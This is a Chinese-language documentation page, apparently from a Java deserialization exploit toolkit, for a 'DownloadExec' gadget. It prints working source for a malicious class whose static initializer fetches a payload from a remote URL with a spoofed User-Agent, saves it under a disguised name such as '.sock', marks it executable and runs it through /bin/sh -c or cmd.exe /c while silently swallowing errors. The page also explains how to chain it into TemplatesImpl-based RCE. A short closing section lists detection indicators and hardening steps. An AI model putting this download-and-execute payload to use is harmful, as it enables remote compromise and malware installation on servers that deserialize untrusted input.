Skip to content

Latest commit

 

History

History
116 lines (102 loc) · 9.53 KB

File metadata and controls

116 lines (102 loc) · 9.53 KB

下载文件并执行(DownloadExec)

  • 类别:bytecode 别名:— 优先级:15
  • 作者:Ar3h
  • 依赖:无第三方依赖(仅用内置 Javassist 生成字节码;运行期只用 JDK 自带的 java.net.HttpURLConnectionjava.lang.ProcessBuilder

作用

生成一段「先从远程 URL 下载文件、赋予可执行权限、再用系统 shell 执行」的恶意类字节码(byte[]),自动识别 Windows/Linux。它属于两阶段落地型 sink:与直接执行命令的 Exec 不同,本 gadget 把真正的载荷(ELF / EXE / 脚本)放在攻击者服务器上,序列化 payload 里只携带一段下载器逻辑,因此更适合投递体积较大的木马、绕过对命令行内容的检测。产出的字节码交由上游 BytecodeConvert 处理后装入 TemplatesImpl 之类的类加载载体触发。

链接标签

  • 入口 tagsBytecodeEND
    • Bytecode —— 表示本 gadget 产出「原始字节码」,可被 nextTagsBytecode 的上游(即 BytecodeConvert)承接。
    • END —— 标记本 gadget 为链的合法终点(sink),其后不再接任何 gadget,也没有更内层对象。
  • 衔接 nextTags:无 —— 本 gadget 是链尾,不产出可继续衔接的对象。
  • excludes:无。

源码剖析

Gadget 本体只负责「推进链上下文 + 用配置改写模板类的静态字段」,不含任何执行逻辑:

@Param(name="url", description="download url, eg: http://127.0.0.1/1.txt")
public String url;
@Param(name="path", description="eg: /tmp/a.elf, default: .sock")
public String path = ".sock";                 // 落地文件名,默认伪装成 .sock
@Param(name="params", description="file params", requires=false)
public String params;                          // 可选:传给落地程序的运行参数

public byte[] getObject() throws Exception {
    JavassistHelper javassistHelper = new JavassistHelper(DownloadExecBytecode.class);  // 以模板类为蓝本
    javassistHelper.modifyStringField("url", this.url);      // 反射改写模板里的静态字段 url
    javassistHelper.modifyStringField("path", this.path);    // 改写 path
    javassistHelper.modifyStringField("params", this.params);// 改写 params
    return javassistHelper.getBytecode();                    // 导出修改后的 class 字节码
}

@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    chain.doCreate(context);   // 本链无内层数据,仅推进链上下文(对齐 invoke 由内向外的构建约定)
    return this.getObject();
}

JavassistHelperDownloadExecBytecode.class 为模板,用 modifyStringField 把模板中三个 public static Stringurl/path/params)的初始值替换成用户配置,再导出改写后的 class 字节码。invoke 里的 chain.doCreate(context) 在本链场景下并无内层产物(END sink),仅为遵守框架「由内向外构建」的约定而调用。

真正的下载与执行逻辑在模板类 DownloadExecBytecode 中,它借助静态初始化块在类被加载/初始化的瞬间触发:

public class DownloadExecBytecode {
    public static String url;      // 由 DownloadExec.getObject() 反射改写
    public static String path;
    public static String params;

    public DownloadExecBytecode() {
        int byteread = 0;
        File file = new File(path);
        try {
            URL url_ = new URL(url);
            HttpURLConnection http = (HttpURLConnection)url_.openConnection();
            http.setConnectTimeout(5000);                       // 连接超时 5s,避免链因下载卡死
            http.setRequestProperty("User-Agent",               // 伪装成 Chrome,规避简单 UA 过滤
                "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_16_7) AppleWebKit/521.36 ...");
            InputStream is = http.getInputStream();
            FileOutputStream fs = new FileOutputStream(path);
            byte[] buffer = new byte[1024];
            while ((byteread = is.read(buffer)) != -1) {        // 循环读流写盘,落地文件
                fs.write(buffer, 0, byteread);
            }
            fs.close();
            is.close();
            file.setExecutable(true);                            // 赋予可执行权限(Linux 关键一步)
            String fileStart = path + " " + params;              // 拼成「路径 参数」命令行
            String[] c = new String[]{"/bin/sh", "-c", fileStart};
            if (System.getProperty("os.name").toLowerCase().startsWith("win")) {
                c = new String[]{"cmd.exe", "/c", fileStart};    // Windows 走 cmd.exe /c
            }
            new ProcessBuilder(c).start();                       // 执行落地文件
        }
        catch (Exception exception) {
            // empty catch block —— 静默吞异常,避免下载/执行失败中断反序列化流程
        }
    }

    static { new DownloadExecBytecode(); }   // 类初始化即 new,触发上面的下载+执行
}

关键点:

  • 触发时机:恶意逻辑放在 static {} + 构造函数中,只要该类被加载并初始化(例如 TemplatesImpl.newTransformer()defineClass + newInstance 实例化 translet)即触发,无需调用任何业务方法。
  • 落地即执行:先经 HttpURLConnection 下载并 FileOutputStream 写入 pathsetExecutable(true) 后通过 ProcessBuilder<path> <params> 交由 shell 运行。注意 fileStart 会经 /bin/sh -ccmd.exe /c 解释,因此 params 中的元字符(;|&& 等)会被 shell 解析,可用于二次命令拼接。
  • 平台自适应:以 os.name 是否 startsWith("win") 判定平台——这与 Execcontains("win") 的写法略有差异,但对常见 Windows * 取值等价。
  • 默认伪装path 默认 .sock,落地到当前工作目录、以类 Unix 套接字文件名伪装,降低被目视发现的概率。

参数(@Param)

字段 名称 说明 默认 可选值
url url 载荷下载地址,例 http://127.0.0.1/1.txt 无(必填) 任意 HTTP(S) URL
path path 落地文件名/路径,例 /tmp/a.elf .sock 任意文件路径
params params 传给落地程序的运行参数(可选,requires=false);经 shell 解释 任意字符串

适用版本与原理要点

  • 无版本依赖,纯字节码 sink;下载用 JDK 自带 HttpURLConnection,执行用 ProcessBuilder(参数以数组传给 sh -c/cmd /c,命令行内容仍由 shell 二次解析)。
  • 自动识别操作系统:Windows 走 cmd.exe /c,其余走 /bin/sh -c;Linux 下依赖 setExecutable(true) 才能直接运行落地文件。
  • 静默 catch (Exception) 使下载超时、写盘失败或执行报错都不影响反序列化流程完成,隐蔽性强但也意味着攻击者无法从异常回显判断成败。
  • 常与 BytecodeConvert 配合:BytecodeConvert 负责改类名、设置字节码版本(默认 JDK6/50)、可选实现 AbstractTranslet 接口、混淆等,再交给 TemplatesImpl 触发,要求目标 JDK < 17(高版本改用 TemplatesImpl2 + 反射绕过)。
  • 相较直接命令执行,本 sink 发起主动出站 HTTP 请求落盘可执行文件,在网络与主机两个维度都留下更显著痕迹(见下)。

所属预设链

自由构件,未直接出现在预设链中(usedInChains 为空)。可按 tag/nextTag 与 BytecodeConvert 等字节码载体组合,替换常规 RCE 链中的 Exec sink(如把 命令执行 链的 [BytecodeConvert, Exec] 换成 [BytecodeConvert, DownloadExec])以实现「下载并执行」。

关联

  • 上游(承接本 Bytecode tag):BytecodeConvertnextTags=Bytecode),再往上是 TemplatesImpl 等字节码载体。
  • 同族 sink:ExecProcessBuilder 直接执行命令)、ExecCustomRuntime.exec 版)、Download(仅下载不执行)、WriteFileExec(写文件后执行)等。

防御与检测

  • 网络侧:反序列化处理进程(Java Web 服务、消息中间件等)在处理外部输入后主动发起出站 HTTP GET,且 User-Agent 固定为 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_16_7) AppleWebKit/521.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/521.36(版本号被人为改成 521.36,与真实 Chrome 不符)——可作为高置信度 IOC。对服务端出站流量做白名单/告警。
  • 主机侧:监控由 JVM 进程派生的 /bin/sh -ccmd.exe /c 子进程,以及短时间内「新文件落盘 → chmod +x/setExecutable → 立即执行」的行为序列;对可写目录(/tmp、当前工作目录)中新增可执行文件、尤其是以 .sock 等异常后缀伪装者重点关注。
  • 载荷指纹:序列化流中若出现被 TemplatesImpl 装载的 translet 字节码,且其常量池含 openConnectionHttpURLConnectionsetExecutableProcessBuilder 等字符串组合,即为本类 sink 特征。
  • 加固:升级/收敛反序列化入口(黑白名单、ObjectInputFilter);对服务进程施加最小权限与出站网络隔离,禁止其派生 shell 子进程;生产 JVM 使用 JDK 17+ 以削弱 TemplatesImpl 加载路径。